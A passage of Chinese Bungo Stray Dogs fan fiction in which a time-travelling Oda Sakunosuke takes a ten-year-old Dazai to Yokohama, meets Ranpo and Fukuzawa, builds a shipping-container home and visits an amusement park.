太宰治转头看向我,抬起那双没有高光的眼睛乖乖的问。 “横滨。”虽然年幼的太宰治没有半点好奇心, 但我还是滔滔不绝的把接下来的计划分享给了他, “那里有一本空白的‘书’,只要写上去的事情都会实现,我的目标是找到它。” 太宰治没问我为什么要麻烦的绑架他, 而是对‘书’提起了一点兴趣。他用指甲盖在树叶上划出一条条印子,脸上浮现出了一点憧憬的光泽, 若有所思的问: “什么事情都能实现?” “切实的, 写上去的事情。”我补充。 “哦。”男童又不说话了, 他沉默了一会儿, 在安静中冷不丁的问, “如果我写让它帮我找一个人呢?” “什么人?” 太宰治却没有直接回答我,他的眼神一如既往的透着某种沉寂的断绝感,那是笃定不可能有人理解他的清醒。但是这一刻, 男童的眼神没那么晦暗了,他静静地说: “你认为人活在这个世界上是有意义的吗?人死后呢?” “我不知道。” “……但我知道,世界上不可能存在一个能解答你疑问的人,就算你在‘书’上写下要求也是一样。”我笃定的口吻像是在阐述某个已经发生了的现实。 太宰治终于不满的狠狠瞪了我一眼。 他眼睛里那一点微弱的兴致像是薄冰,很快就融化了,消失的无影无踪。 “未来的我该怎么忍受活着的生活?”男童发自肺腑的疑问着,喃喃自语。 我知道我现在该说什么,但是我明智的保持了沉默。 ——十岁的太宰治,手腕上没有旧伤疤,身上没有别的痕迹,他似乎还没有开始通过寻死感受生与死的区别,去寻找真实存在的意义。 我不想新的倾向是从我开始提议的。 太宰治很快自己说服了自己:“死是每个人都要经历的未来,死亡和活着的意义一样神秘,但是一旦死去,就再也探索不了活着的奥秘了……这是不得不忍受的事情。” “你觉得呢?”他话音一转,声音沉沉的,又把话题抛给了我。 “我不知道。”在男童不满的小脸面前,我坚持着原来的说辞,“但是——我会绑架你。” 我把手帕塞进了太宰治嘴里,堵住他剩下所有的话,重新把他抱了起来,揣进风衣里一裹,继续上路。 被打断了重要的问话,还不得不自己把手帕从嘴里扯出来的太宰治垮下脸:“……呸,呸!” 非常不爽。 这一跑就到了早上,在深重的露水中,怀里的孩子似乎已经睡了一觉,又有了动静。他困意朦胧的提出要求:“我要上厕所。” “忍耐一会,快到车站了。”我观察着四周,疲惫的说。 太宰治眼瞳里的困意像是雪花一样融化了,他挣扎着探出头观察周围的环境。 这是一条大街,繁华的大街。 穿着皮鞋,西装裤和洋帽子的男人女人到处都是,琳琅满目的商店招牌五彩斑斓,与安静落后的青森县完全不同。 太宰治安静的眼睛里倒映出了这一切,他目不转睛的看着。 我冷眼观察着他的反应,这种感兴趣的模样,和保姆送给他一摞书看的时候其实没什么区别。 “我们先去买鞋子。”我说,两条肩膀已经酸痛的不像是我自己的了,为了能让幼宰自己走路,我也需要立刻给他买鞋。 “我想上厕所。”太宰治表情没有变,只是又重复一遍。 “如果你愿意我抱着你去的话,我们可以先不买鞋子。”我斟酌了一下十岁男孩的自尊心和这样做的方便程度,疑问的等着他的判断。 “………”太宰治的眼瞳里更没有高光了,他像是受了打击一样的无精打采的说,“……快点买鞋子。” 接下来的相处就简单多了。 太宰治很聪明,全程没有表现出任何异常,或者想要逃跑的打算。他用最快速度买好了一双皮鞋,又用新衣换下了身上的和服,上完了厕所,最后乖乖牵着我的手一起迈进了车站。 不管是谁看,都会以为是一对父子在出行。 车子跑了八个小时,才把我们送到了目的地。 熟悉的船笛声长鸣。 一望无际的大海,堤岸上空飞翔鸣叫的海鸥,清新的海风迎面拂来,远处标志性的五栋黑色大楼。还有大地上满目疮痍的半圆形凹地,里面隐约可以看到有不少人活动,把这处废墟当做了自己临时的住所。 那是擂钵街的雏形。 “这里就是横滨?”太宰治站在我身旁,眺望着这一切,他很快看向我,“我饿了。” 没等我开口,男童不满的说:“再吃饭团要吐了,我要吃大餐!” 我完全没有异议,吃了十多天饭团我也快吐了。但是我对这个时间段的横滨不熟悉,想去吃大餐,还需要打听一下。 太宰治就这么不满的垮着脸,瞪着我又找了半个小时,才把他领进了一家海鲜餐厅。 “招牌是海鲜粥,刺身和寿司。”我看着菜单,给太宰治先点了一份蟹肉粥,几只清蒸螃蟹,一碗蟹肉蒸蛋,才开始点其他的食物。 “……哇哦!” 食物上桌后,气味萦绕着我们的鼻尖。我第一次看见——太宰治看着眼前琳琅满目的螃蟹制品的时候,鸢色大眼睛里都在兴奋的发光,冒出了星星。 当他尝了一口,进食速度在无言中变快了以后,看得出来,太宰治的满意程度开始直线上升。 我也终于可以歇一会了,享受了一顿安静舒适的午餐。 直到我们两个都吃饱了,太宰治没有形象的缩在椅子里,半点没有在家里的规矩,懒洋洋的,连毛茸茸的后脑勺都乱糟糟的。 我才开口问他:“好吃吗?” 太宰治抬头看我,那双眼睛里带着透彻,好像已经猜出了我准备问什么问题,他没有说话。 “出来玩会比在家里高兴吗?”我又问。 “都没有意义。”太宰治歪头看着我,语气没有半点波动,恢复了最开始的平稳,他陈述的重复着, “高兴或者不高兴,在青森还是在横滨,看书和吃蟹肉粥,都没有意义。” 我知道幼宰看出来了。 我也看出来了。 十岁的太宰治掩饰的技巧还没有几年后的好,他对书籍感兴趣,他喜欢吃蟹肉粥,他对从小照顾他的保姆有感情。他有不少小的喜好,还讨厌青花鱼饭团,日常有点挑食。 他是被动跟着我出门的,其实他如果真的不愿意,早有千百种办法脱身。 但是—— 这些都无所谓。 在最开始,揭发我这个陌生偷窥者或者忍受我长久的待下去无所谓。 被我绑架带去横滨或者留在青森过日常的生活无所谓。 询问或者不询问我的目的无所谓。 “好奇心”是太宰治的调味品,但他并不认为自己原有的人生枯燥难忍,他也不会把追寻新鲜感当做目标。他只是认为——无论是哪一种情况,深究起来都无所谓。 “我知道。”我说。 寻找不到人生意义,认为一切事物都很空虚的太宰治清醒得可怕,没有人能介入这个领域里去,我们普通人所在乎的每一点意义,都无法拿来说服他。 我从来都没有想过要说服他。 太宰治看向我的眼中多了一抹疑惑。 “抛开那些意义,我只是想带你出来玩一趟。”我解释,“我……留下的时间不多。” 太宰治的小脸上没有半点惊讶,他点点头,直截了当的戳破了一件事情,纯粹的疑问着:“我还是不懂,未来的我为什么会和你交朋友——我们是朋友吗?” 我心里欣慰。 这个猜测终于被戳破了吗? 从一开始,我就没有仔细掩饰我认识【太宰治】这个个体的种种迹象。就算只有十岁,太宰治也是太宰治。对他来说,哪里都是破绽吧。 做出这样的决定,我对自己的演技有着明确认知是一个原因——想接近幼宰是另一个原因: 十岁的太宰治,连寻死的想法都还没有生出来,生存和死亡对他来说是一样的无聊,好奇心都不能左右他的决定。 太难搞了。 我根本不知道怎么和他相处。 如果在乎书本,在乎保姆,在乎蟹肉的程度都不够让年幼的太宰治动容,那么他自己——一个他自己做出的选择呢? 太宰治把我当成了长大后的他本人——的朋友。 男童仰着头,还在催促的等待着我的答案,他没有高光的眼瞳中倒映着我的模样,不是虚无一片。 “是。”我承认了。 联想到了我认识的几个太宰治……这也算真相吧。对幼宰来说,长大后的他也会遇到属于自己的织田作之助。 太宰治居然重重的叹了口气,好像很不满似的,嘀嘀咕咕:“……完全搞不懂长大后的我是怎么想的啊!” “不会也是被你绑来的吧?”男童突然目光锐利的盯着我,狐疑的发出了这样的质问。 我突然一噎:“……” 想想首领宰……想想汪世界的武侦宰和安吾……想想其他太宰治和织田作之助的相识…… 无论是从哪里,好像都没有让我辩解的机会。 哑口无言的我。 “——是朋友。” 我跳过了这个话题,干脆理直气壮的咬死了这句话- 作者有话说: 主角:日常一个坑蒙拐骗交友小手段。 第65章 当场抓获 太宰治对我回以怀疑的目光, 但他什么都没说。 自从我威胁过后——男孩也清楚我真的会那么照做之后,他就在一味装乖,很懂得审时夺度。但是到了自己真正的需求时, 他也不会全瞒着,比如吃完饭走在街上的现在。 太宰治注视着这个萧条又带着血腥味的城市, 似乎从中嗅到了不祥的意味,这和他和平的老家青森截然不同。他的视线落在一家废弃门店招牌上的弹痕: “横滨的市民可以合法持枪?” “不能。横滨因为一些历史原因成为了租界, 政府管不了这里的混乱,划分地盘、维持秩序的反而是黑//手党。”我解释着突然沉默了一下。 按照时间段推算, 现在的港//口/黑//手党应该还是先代在位期间。 横滨这会儿有秩序吗? 我有点迟疑。 “算了。”太宰治眉头一皱, 嫌弃的嘟囔, “你不是横滨的吗?怎么什么都不知道。我们到底是几年后认识的?” 我还真不是横滨的人。 我顾不上回答, 盘算着今晚开始往后去哪里住。一直以来,我都被首领宰和其他世界的太宰安吾照顾得很好, 吃朋友们的住朋友们的, 临走的时候还能再拿走一部分。 但这个世界的太宰治还是个孩子,我又把他绑架到了横滨,照顾他的日常和保障他的安全是必要的。 我打算用织田作先生教的技巧继续当“邮递员”, 虽然干的活脏点累点、危险性也高,但是来钱快还不需要杀人。 所以等会儿要做的第一件事, 就是先租一栋房子安顿下来。 这个时期, 织田作之助大概还在当着杀手吧——我当然期待和他见面, 但是他这么神出鬼没, 想找到他也是一件需要碰运气的事。 我牵着太宰到了一家房屋租赁的门店前, 征求他的意见:“你想住什么样的房子?” 男孩挑剔的扫视着橱窗里贴着的各式各样的公寓和住宅规格,扭过头,视线径直盯向了马路对面正在施工的工地, 眼眸里都是跃跃欲试:“我要住集装箱!” “住集装箱可以,但我出去赚钱的时候,留你一个人在很难保证安全的。” 我总不能在当邮递员的时候也带上太宰吧? “那是你的问题。”太宰治理直气壮的看过来,他指责着,“是你把我带过来的,难道这些没有想好吗?” 我:“……” 有道理。 这就是做任务的途中贪心的想要多见友人的代价啊! 我低头认错。 没关系的,不出去当邮递员我也可以在家写稿子投递。横滨的这个时期虽然动荡,但是在Beast世界我翻阅过夏目漱石先生的著作,有两本书的出版时间都陆续在这个时间段。底层越是动荡,文化界越是繁华吧。 ——如果我没办法借着投稿养家糊口,到时候换职业的事再说。在青森县打零工的那一笔钱省着点花,够我们日用一段时间了。 我带着太宰治前往了市郊。 在建工地上的集装箱没办法住进去,港口附近肯定有很多废弃的集装箱,但那里是黑//手/党们的地盘,有多少接头和交易都发生在那里,不适合定居。 我用我浅薄的黑//道知识这么思忖着,取了一个中间值,在安保环境没有那么好的市区之外,但又没有抵达港口与海边,远至镭钵街的中间地带寻找着。 最后我找到了一家废弃工厂,这里的露天地表污水遍布,泥泞难行,几个集装箱堆摞在里面,除了空荡荡的外壳,被搬得一干二净,空气中只剩尘土的气息。 我看看这种灰扑扑的艰苦环境,再扭头看看换上一身新衣服又梳好了头发、仔仔细细洗漱后显得精致而漂亮的津岛小少爷。 我:“……” 真的要住这里? 我的良心隐隐作痛,真的有种自己诱//拐了孩子还不好好对待的无良感。 “我要住这个白色的。”太宰治才不管那些,已经挑上了。他一边检查一边像是对着神灯许愿一样的源源不断的许愿着要求, “顶上需要一个灯泡……门要从内可以开关上锁的,我要一张小床,不要榻榻米,还有窗户,工厂里采光不好,在集装箱里完全看不到外面了!” 我前面还在认真听着,但太宰治越说越多,我有点跟不上了,赶忙掏出笔记本一顿潦草的狂记。 首领宰还在看热闹不嫌事大的捣乱:[集装箱啊,好像很有趣。] 他的字迹浮现在我记的笔记下一行,逼得我只能跳过这一行往下写,我暂时没有空回答。首领宰的字迹再次浮现,难缠得很: [织田作织田作,下次我们也去试试吧,叫上安吾,去海边玩。] 我无奈的笔下一顿,只能抽空安抚了他一句: [好。] 虽然港//口黑/手党的首领这么随意出去玩很有危险性,但有中也先生和我在,怎么可能不满足首领宰主动提出的要求? “我要去买一些工具。”我看着这些本子上记录的要求,在下面写上了改造集装箱需要的物品,盘算着说。 铰链,焊机,灯泡,电线,扳手,钉枪,切割机,这些东西中的零件需要买,机器可以租。 虽然我对自己的手艺没什么自信,但是集装箱是改造来自己住的,再坏也坏不到哪里去了。 太宰治没有异议,但他要跟着一起去:“我是你的人质——得带上我。” 我看着男童的小脸,猜测太宰很可能没有去过那种逼仄又塞得满满当当的零件杂货店。 “啊。”我应了一声,“我们先去租车。” 从这里回市区要花费一段时间,带上那么多工具再走回来就太费功夫了。 没想到,计划赶不上变化…… 在租车行的门口,一个熟悉的犀利声音突然响起来:“——大叔,他是诱//拐犯。” 我和太宰都是一怔。 回头。 穿着侦探服的少年指着我,对他身旁面色肃然的和服男人这么说着。 和服男人锐利的目光从太宰治的身上一寸寸移到了我身上,他按在腰间刀鞘上的拇指动了一下,就要发动袭击。 太宰不知道怎么做出的预判,在前一秒头也不回的拉住我的手跑了,只给他们留下一个毛茸茸的后脑勺: “呜哇,快跑!” 两分钟后。 我木然的站在街旁,喉咙上被刀尖抵住,微微抬起下巴不做半点抵抗。和服男人神色更加冰冷警惕,言简意赅的说:“乱步,去报警。” 太宰治在旁边抱着双臂很不爽,仰头看我:“那些攻击你不是全躲过了吗,为什么停下来了?这两个人你认识?” “我们刚把他弟弟送进牢里,算不算认识?”江户川乱步在旁边插话,但他没去报警,而是睁开眼睛,翠绿的眼瞳犀利的盯着我,似乎还有什么让他费解的事情。 这句话一出,和服男人沉默了,上下打量着我的模样: “你是……织田作之助的兄长?” 同样的红头发,同样的蓝眼睛,同样木讷没有波动的表情和气场,还有那份好身手。他早该想到的。 我也没想到会碰到这个时间线的乱步和社长,听起来刚好还是他们把杀手少年织田作送进监狱的时间段。十岁的太宰治和十四岁的江户川乱步居然这样碰面了。 只是短暂停顿了一秒钟,我就决定实话实说:“不是兄长,也可以称呼我织田作之助。” 和服男人:“?” 江户川乱步:“?” 太宰治:“???” 以他们的聪明程度,太宰马上捋清楚了这句话的意思,他面无表情的看向江户川乱步,语气中充满了不可思议,幽幽地说:“……所以我未来的朋友在这个时间被他送进了监狱?” 怪不得要到好几年后才和他认识! 太宰的小脸上满是不愉。 江户川乱步也如获至宝的大声肯定着:“你来自其他的时间或者世界。” 他快乐的对和服男人分享着自己的新发现:“大叔,穿越时间的方法居然是存在的!二重身的传说原来讲的是这个……” “等等等等,你们都等等……乱步。”和服男人用虚弱无力的语气缓慢制止着,他没有乱步那么聪明的头脑,还没反应过来在场几个少年都弄明白的事实是什么,他反而被那两句话彻底搞糊涂了,只能虚心求问着,“这是什么意思?” 他完全没听懂! 是他去干了几年护卫生活,已经彻底跟不上现代的观念了吗? 为了弄明白这些,我和太宰被“请”去了社长家——一栋古香古色的日式建筑宅院,处处都透着规整。 江户川乱步很不喜欢这种环境,他只穿着袜子走在木地板上,故意把地板踩得啪啪响。 太宰治也没好到哪里去,他看见走在前面的和服男人,配上这种肃正规矩的环境,一双没有高光的鸢色眼瞳更加晦暗了。太宰治脸色淡淡的,跟着江户川乱步学捣乱,他跳进了庭院,走了一路踢了一路的草。 眼睁睁看着自己家被两个孩子上蹿下跳四处捣蛋、痛心疾首的社长:“…………” “事情就是这样。”我简单的解释了自己与太宰治在未来的相识,所以诱//拐不算是纯粹的诱//拐,当我离去的时候,我会把太宰治送回家里。 在我解释这些的时候,太宰治在旁边竖着耳朵默不作声听着,江户川乱步还在疯玩。 但我不敢随意放松下来。 我并不清楚这些说辞能不能瞒过江户川乱步——也许是瞒不过的,太宰治清楚我来横滨有其他的事情要做,找他玩才是顺带的。我与太宰治在江户川乱步面前的相处,很可能不知不觉间就泄露出了破绽。 我只希望乱步先生不要刨根问底的询问太多。 好消息是——在刚才的短暂接触中,至少我确认了,此世界中的[书],不在他们两个人身旁- 作者有话说: 没办法找织田作了hhhh 第66章 打造集装箱新家 “你来横滨要做一件很重要的事情, 但是又不危险,是什么?”乱步冷不丁的好奇发问,他的绿色眼睛像是质地上佳的宝石, 在庭院中闪过一抹光采。 根据痕迹,他目前能看出来的东西只有这么多了。 “乱步。”社长把双手拢进了和服袖子里, 严厉的喝止了一句,“要懂礼貌。” 他对我欠了欠身, 用更郑重的口吻亲自询问我:“织田先生来到这个时间要办的事情,不知道能否告诉我等?在下名为福泽, 在横滨多有人脉, 可以为阁下提供一些帮助。” 他顿了顿, 看向太宰治:“……就当做是对织田先生的赔罪了。” 我点头明白。 刚才是误会一场。 社长是个正派的好人, 赔罪归赔罪,也许对他来说, 这件事不管是不是诱//拐, 他都要关注到我后续把太宰治送回家里才能放心。 我犹豫了短暂的一瞬间——主要是觉得我瞒不过乱步。 这一刻,笔记本中也提示了有首领宰发来的新讯息。我和首领宰已经很有默契了,就算我现在碍于场合没办法拿出笔记本查看, 我也意识到了首领宰看准时机发来的讯息代表了什么。 “我为了回收一本不知道在哪里的书而来,那本书在我认识的某个人手中。”我最后只是这么说, “福泽先生可以帮我查一个孤儿院的地址吗?” 我决定将查询中岛敦幼年所在的孤儿院地址这件事拜托给社长。 不把实情全盘托出, 是我思考后的考量。 就算我想要回收万千个世界里的[书]是为了拯救, 但那又怎么样?对没有陷入危机的那些世界来说, 我的行为只是夺走了他们世界中的重要宝物。而且这是真相或者虚假的说辞还不好说, 我需要反反复复的向他们证明。 那么,只解释到这种程度,已经足够了。 “……”江户川乱步听了更有解密的兴致, 眼眸亮晶晶的,他已经很久没有碰上过这么有趣又神秘的难题了。但是社长教导过他,不能对大人们的故事追着反复问。 他只好自信的点了下头说:“调查的这件事包在我身上吧!” 社长探究的注视着我,跟着同意:“不知道织田先生带着这孩子,这段时间准备住在哪里?” 我的嘴唇笨拙的蠕动了一下,有些绞尽脑汁。 难道我要直说“住在集装箱”? “住在郊外的小屋。”太宰治面不改色的替我回答。 在我刚才讲述委托的时候,男孩围坐在桌子旁,安静的听着一声不吭,连表情都没有半点变化,就像他完全不知道内情似的。现在又恰到好处的替我开口回答。 感谢,被解围了。 “这位——”社长顿了一下,不知道该怎么称呼太宰,他拿起笔在格子纸上写下了一串号码,撕下来放到太宰的面前,“这是我的号码,回去后如果遇到了难题,可以给我打电话。” 江户川乱步看着这熟悉的一幕,气呼呼的:“喂,大叔!这不是很熟练吗?” “乱步……”社长的脸上只剩下带孩子久了后被摧残出的疲惫与无奈了。 太宰治用三根手指拿起了那张纸条,若有所思的注视着,似乎想到了什么,但他的嘴巴仍然像是闭紧了的蚌壳,一言不发。 …… 终于在凉爽的夜风中,我们告别了肃穆的福泽宅,可以去租车了。 “时间太晚了,先在车里睡一晚上怎么样?”我牵着安安静静不知道在想什么的男孩的手,询问他,我准备明天天亮了再开始干活。 “织田。”太宰治没有回答,一开口叫了我的名字,他的注意力都放在另一件事上,脸上有着思考的神色,“从第一天到现在,你没有喊过我的名字。以后的我——叫什么?” 我不惊讶男孩的敏锐,但是“织田”,我还没有被人这么称呼过,听起来怪怪的。 “太宰,太宰治,这是你的新名字。”我如实的复述着,憋得不得了。这几天要注意不能把称呼脱口而出,我也感觉很辛苦。 太宰治默念了两遍,自己也觉得很满意:“抛弃津岛这个腐朽的姓氏吗?” 他一边走在漆黑的小道上,一边冷不丁的抛出了下一个问题,带着求知欲:“我居然从来没有叫过你织田吗?我是怎么称呼你的?” “织田作。”我老实的回答,“是一个奇怪的称呼。” ——但是很合适,因为我没办法想象一个太宰喊我“织田”。 太宰治安静的仰头注视着我,微弱的路灯从远处投下一抹光芒,落在他鸢色的眼眸深处,竟然显得男孩的眼眸亮晶晶的。他试探性的念了一遍,有点生涩: “织田作。” “唔。” “织田作?”这次顺畅多了。 “唔。” “你除了‘唔’就不能换点别的说吗?”太宰治皱着眉头挑剔的提出不满了,眼睛却紧紧盯着我脸上的每一丝表情。 “啊。” 我在心里感到很抱歉。 一来我的言语系统就是这么的苍白匮乏,二来我的性格本身也很枯燥无趣。 我能感觉到这个年幼的太宰治对我的兴趣和在意都增加了,但除了强制绑架走他来吸引注意力的手段外,我在别的时间并不擅长主动交朋友的——非要说的话,我更擅长当一个倾听者。 而年幼的太宰,他好像也有点紧张。 也许是没有交过朋友的原因?只能用喋喋不休的抱怨来掩饰。 这天晚上,我们两个挤在新租来的车里睡了一晚上。 早上天亮的时候,太宰僵尸一样的歪着半个脑袋、不住地对我抱怨:“脖子……要断掉了,好痛,脖子……” “你没有在车里睡过觉吧?”我只好试探的给男孩按摩僵硬的肩膀和后颈,判断他是不是落枕了。从结果来看,虽然十岁的太宰治有一颗跃跃欲试想出来野的心思,但是身体还是娇生惯养的小少爷呢。 “嘶!嘶……!”太宰治顾不上说话,被我捏得不停倒吸气,模样完全是被捏住了后颈皮的幼猫。 我离开了汽车,从后备箱里取出昨晚买的众多工具,准备用扳手和铰链先把集装箱的门改造成双面开关式的。这辆租来的老旧汽车就停在废弃工厂里,太宰把双腿垂在车门外,撑着车座看我干活。 我戴上了厚厚的面具、眼罩和手套,拿起手持切割机站在集装箱侧面作业,一时间噪音与火花四射:“滋——嗡嗡——!” 然后是焊上加强板与门轴,加装铰链。 做这些工作是个力气活,我奋力使劲的拧着,扭着、推着、焊着、双臂上的肌肉拼命一起发力,感受到血液上涌到了脖子上,面目狰狞的和这个吨位庞大的集装箱搏斗着。 “刺啦!”背后传来撕胶带的动静。 是太宰,他已经十指灵巧的组装好了几个电池盒,坐在地上用牙齿咬断了一截绝缘胶带,沿着集装箱的边缘把电线固定在了墙上,只剩那些需要粘在天花板上的电线和最后的灯泡,他够不着,干脆的丢在地上去摆弄其他的组装木板了。 我脸上不显,提心吊胆的不时回头看看。 男孩如果举着切割机的手稍微歪上那么一下,像是切黄油一样丝滑的刀子没入的就不是木板,而是他自己的腿了。 这些都让我没办法专心作业——但我承认,果然是年龄蒙蔽了我。 二十分钟后,一张崭新的木板小床组装好了。严丝合缝,没有高低不同的床脚,稳稳当当,顶顶漂亮。不管再怎么担心,几岁的太宰治都是太宰治,这点小事还没办法难倒他。 太宰喜滋滋的吹了一下手上的木屑:“怎么样?” 他炫耀的围着小床转了一圈,嘴角就没有落下去过:“织田作织田作,帮我搬进去!” 使唤人倒是逐渐变得熟练了。 我应了一声,扛起床摸着黑往里面运,顺便把灯泡也吊起来固定在了天花板上。集装箱的高度有两米多,就算是我,也得站在组装好的床上才够得到。 昏暗的狭长形集装箱里亮起了一抹光,照亮了这片黑暗。男孩眺望着他的战果,嘴角慢慢落了下去,他的眉头蹙了起来,视线又巡视了两圈,指向旁边:“织田作的床摆在这里怎么样?” “好,但是,那样就放不下太多家具了。”我提醒他。 我原本以为太宰想要自己一个集装箱,我自己住在另一个集装箱?但按照现在的摆设,我和太宰的床都留在了这个集装箱里,其他的家具就要统一摆在另外的集装箱里了。 “摆在这里。”太宰治用上了坚持的口吻。 我埋头开始组装第二张床。 太宰治没事情做了,他举起自己的两只手掌观察,因为从来没有干过粗活的原因,细嫩的皮肤被刚才切割木板,组装木材的行为磨破了几条口子,火辣辣的疼。 太宰治静静盯着自己的伤口,像是在看什么新奇玩意一样,半晌,他失去兴趣的移开了视线:“疼痛,挺讨厌的。” “处理一下会好的更快。”我挥汗如雨的像一头犀牛似的和窗户角力着,喘着气见缝插针的建议他。 太宰皱着眉头嘟囔:“算了吧,麻烦。” 他嘴里这么说着,还带着婴儿肥的两颊上表情淡淡的,鸢色的眼瞳里连半点波动都没有。 我看着这一幕,不受控制的想到了主线中未来的武侦宰做下的那些事情。所以这就是太宰哪怕讨厌疼痛,还是会进行一些以身做饵的手段去试探吗? 讨厌和喜欢,其实都不重要,遇到了更在意的事情,这些无意义的东西也都可以拿来利用。 我默不作声的从大衣口袋里取出一包棉签,绷带和一小瓶药水,走过去强制帮男孩处理伤口。 ——十分感谢自己的先见之明,来到这个世界赚了钱就买了这些的确是有必要的。 我又发现了男孩在暗中观察我的目光了。 太宰治上下打量了男人一圈:“织田作是我最好的朋友吗?” 他好像有点明白未来的自己为什么会和这个家伙成为朋友了。尽管这个家伙绑架人,什么都不熟悉,不理解他的观念,但是——也还行吧。 “之一。”我停顿了一下,认真和男孩对视着。 尽管我很迫切的想要成为太宰治的挚友,最好的友人。但我从来都不愿否认安吾的存在,无赖派三人的纠葛是理不清的,也只有三个人在一起,才是无赖派。 “还有一个人,坂口安吾,他是太宰你主动交的朋友。”我中规中矩的陈述了一句,就闭上了嘴巴。 太宰治和织田作之助的相识,起始只是一个偶然。太宰横尸在了他有点感兴趣的人家门口,打探的用意居多,至少他失去意识的时候,并不清楚自己在未来会交上这个友人。 但是坂口安吾——却是太宰治感兴趣之下主动邀请去lupin酒馆,一起成为的友人。 “……” 太宰治不置可否的托着下巴,静静看向废弃工厂远处外面的天空,脸上有一抹稍纵即逝的期待。 也许十岁的他还有很多的不明白,不知道该怎么打发每天的空虚人生,但遇到了这个神奇的红头发,又知道了自己未来会有两个交好的友人—— 有了朋友,人生会更有价值一点吗? 太宰治不知道,但他有了一点的期待。 …… 我花了一整天的工夫初步把两个集装箱收拾得可以简单住人了,到了晚上入睡的时候,我倒在新买的柔软枕头上,只觉得像是躺在棉花上一样幸福,再也没有比今天还要疲惫的了,但是……我不能睡得太沉。 这里是先代统治的横滨…… 我意识模糊的想着,闭眼睡了过去。 半夜。 我猛然惊醒,条件反射的跳起来反手把太宰治压在了床上,制住了他的手臂。 心脏在狂跳。 “好痛!”太宰治大声抱怨,瞪着我,“你干什么?” 灯泡亮着,细长的拉绳垂落在小床旁边。微弱的灯光下,太宰拿着绷带和药水,鬼鬼祟祟的把我的手腕绑在床柱上涂药,现在绳索被挣断了,药水和绷带也撒了一地。 男孩愤怒的瞪着我,还有点担心,他用脚踢了两下:“喂,回神了吗?你以前是杀手吗?反应这么激烈。” “本能反应。”我抱歉的说着,赶紧松开他。 也许是在首领宰世界和汪世界我被养的太好了,属于“织田作之助”的身体本能从来没有像现在这么被我激活过,一不小心就过激了。 “明天,我带你去一个地方吧。”我歉意的说,呆毛垂落- 作者有话说: 写到神志不清,倒下 第67章 互相折磨 第二天。 “这是什么地方?”太宰治发出了质疑。 “游乐园。”我面不改色的牵着他的手回答。 我们站在横滨最大的游乐园门口, 即便不走进去,不在人群后面排队,也能听到里面孩童快活尖叫的动静, 飞驰而过的过山车机械制动的轰声,还有横滨游乐场的标志性招牌——站在港口□□大楼上都能看到的巨大摩天轮。 男孩脸上闪过一言难尽的表情, 他没好气的拧着眉头问:“我们来这里做什么?你该不会以为小孩子都喜欢来游乐园,这就是你昨天弄疼我的赔礼吧?” 说这段话的时候, 太宰治的语气毫无笑意,一双眼睛幽深平静, 不解甚至有些无力的注视着我。 我:“…………” 糟糕, 我就是这么想的。 给太宰赔罪……做什么才好? 如果现在出现在这里的是首领宰, 我会把他领去Lupin酒馆, 只要喝上一顿,听他抱怨一大通, 这件事就过去了。 大不了任劳任怨的当首领宰的新菜试吃员。 但这都是成年人的游戏! 我眼前的这个太宰治还太幼小, 连照顾自己都有点马虎。我对待他没有半点经验——和其他世界的幸介,真嗣,优, 克巳,咲乐相处的方式都不能拿来参考。 只好选了一个中规中矩的游乐园。 现在得到了不妙的反馈。 也只能硬着头皮继续了。 我牵着一脸‘要死掉了的’表情的太宰治买了票, 排着缓慢蠕动的队入了场, 刚进门, 就听到路边满面笑容的气球姐姐推销: “这位爸爸——要给孩子买最新的香蕉船冰淇淋吗?” 在她亮晶晶的眼眸转过去的方向, 有一家冰淇淋小屋。吸引眼球的是门口巨大的香蕉做成的船型冰淇淋, 下方塞进了印着波浪花纹的蓝色小盒子里。 这是非常受孩子们喜爱的爆款。 门口围满了排队购买的家长,模型前全是叽叽喳喳兴奋盼望着的小孩子,只听到这些音量攻击就让人心生畏惧。 我:“……” 织田作之助的脸和气质, 终于被人误解成了孩子爸爸了吗? 太宰治:“…………” 他眼珠一转,无辜的指向那里,在气球姐姐期待的目光中,嘴巴恶魔一样的张合着,吐出字句:“爸爸,我要!” 刚从排队地狱中解放的我,又要熟练的排队了吗? 我无奈的默认了,往那边走去。 “我可以在这里等着爸爸……哇啊啊?!做什么?!” 太宰指着模型前的长椅,带着坏水的话都还没说完,就被我一把抱了起来,若无其事的放在了身边。 男孩使劲挣脱着,但是抓住他的那只手十分牢固,纹丝不动。 他气恼的瞪着我抗议:“喂,织田作!放开——我!” 我目不斜视的专注盯着排队人群的蠕动速度,每当离去一个人,我都精准的向前跨步,迈动一个恰到好处的距离,好让自己快速前进。但我的手纹丝不动。 在这个过程中,左边孩童们尖声大笑和高昂的议论声不断传来:“哈哈哈哈哈!”“我赢了!你的香蕉船没有我的大,嘿嘿,没我的大!” 右边是绕了个圈的排队大人们沧桑的交谈:“过山车最好等晚一点……人少。”“我家孩子出来玩就不喝水,得哄着……” 细碎的声音宛如左右声道,一刻不停的攻击着我的耳膜。这导致太宰不满的抗议叫唤都被淹没了进去。 男孩意识到这点的时候,他更加有气无力了。 现在的太宰表情堪称痛苦,已经后悔起了他到底为什么要提议买香蕉船。这不是一个人的受罪,而是两个人的互相折磨。 但是太宰仍然没吭声,就这样顶着死掉了的无高光眼神,和我排队到了最前面。 “——你好,请问需要什么?” 我看向太宰。 “最大份的香蕉船冰淇淋。”太宰报复的说着,非常肯定。 “小朋友一个人吃这么多,会拉肚子的哦。”售卖员带着担心的提醒了一句,视线飘向了我。 我对她点点头。 我已经有了决心——小朋友吃不下的分量都是要填进爸爸肚子里的。 最后捧出来的冰淇淋,比我想象中的还要大。 我和太宰治对着一个比他的半张脸还大的巨大香蕉船陷入了可怕的静默: “…………” 虽然我承认我很久没有吃冰淇淋了,帮助太宰解决一部分也是很不错的想法,但这个体量—— 这个太超前了。 “我没见过这么大的冰淇淋。” 太宰治从惊愕里回过神后,居然蠢蠢欲动起来。他嘴角微翘的说着,快准狠的舀了一勺香蕉船上的船锚——把一整个锚都填进了嘴里,吃得津津有味。 我也顾不上说话,埋头开始苦吃。 我想,也许是津岛家的教育不会允许少爷们吃这么巨量的冰淇淋——或者更直接点的,不允许吃冰淇淋。 至少我想不到,连出门上学的机会都没有的津岛家少爷们,到底有什么渠道在青森县吃冰淇淋? ——还是在天气微凉的秋冬季节。 我和太宰治都吃了个爽。 二十分钟后。 “不……不行了……”太宰捂住肚子表情扭曲,无力的说着, “厕所……!” 男孩一边拉着我精准无误的向某个方向狂奔,一边不甘心的抬头观察我的表情:“为什么你没有事情?” “因为我是成年人。”我肯定的说。 